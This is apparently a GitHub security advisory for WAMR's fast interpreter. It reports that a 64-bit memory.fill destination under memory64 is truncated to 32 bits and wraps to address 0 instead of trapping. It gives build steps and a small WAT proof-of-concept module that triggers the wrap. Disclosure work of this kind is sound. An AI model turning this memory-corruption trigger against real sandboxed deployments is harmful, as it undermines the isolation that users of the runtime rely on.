-
Notifications
You must be signed in to change notification settings - Fork 729
Description
Summary
Out-of-bounds 64-bit destinations wrap to 32-bit and corrupt memory instead of trapping.
Details
WASM_OP_MEMORY_FILL in wasm_interp_fast.c popped the destination and length with POP_I32() into uint32 locals and passed them through CHECK_BULK_MEMORY_OVERFLOW, which also cast offsets to uint32. Under memory64, the immediate operands are 64-bit, so the high bits were dropped during these casts, allowing the operation to target address 0 instead of trapping. The fast interpreter also never learned whether the default memory is 64-bit, so there was no runtime switch to the 64-bit path.
PoC
- Build WAMR fast interpreter with memory64 enabled:
cd product-mini/platforms/linux
rm -rf build && mkdir build && cd build
cmake .. -DWAMR_BUILD_MEMORY64=1
make -j$(nproc)- Assemble and run the following module that issues a 64-bit out-of-bounds memory.fill:
;; save as fill_and_read.wat
(module
(memory (export "memory") i64 1 10)
(func (export "fill_and_read") (result i32)
;; Attempt to fill beyond the allocated 64 KiB page
i64.const 4294967296 ;; 0x1_0000_0000
i32.const 127
i64.const 1
memory.fill
;; read from start of memory to see whether write wrapped
i64.const 0
i32.load))wasm-tools validate fill_and_read.wat
wat2wasm fill_and_read.wat -o fill_and_read.wasm
product-mini/platforms/linux/build/iwasm -f fill_and_read fill_and_read.wasm-
Observe the bug behavior: the interpreter prints 0x7f:i32, showing that the fill wrapped around linear memory instead of trapping.
-
Reference behavior on Wasmtime:
wasmtime run --invoke=fill_and_read fill_and_read.wasm
Error: failed to run main module `fill_and_read.wasm`
Caused by:
0: failed to invoke `fill_and_read`
1: error while executing at wasm backtrace:
0: 0x45 - <unknown>!<wasm function 0>
2: wasm trap: out of bounds memory accessImpact
Component: fast interpreter (wasm_interp_fast.c)
Feature: memory64
Version: 2.4.3 (on Ubuntu 22.04, x86-64)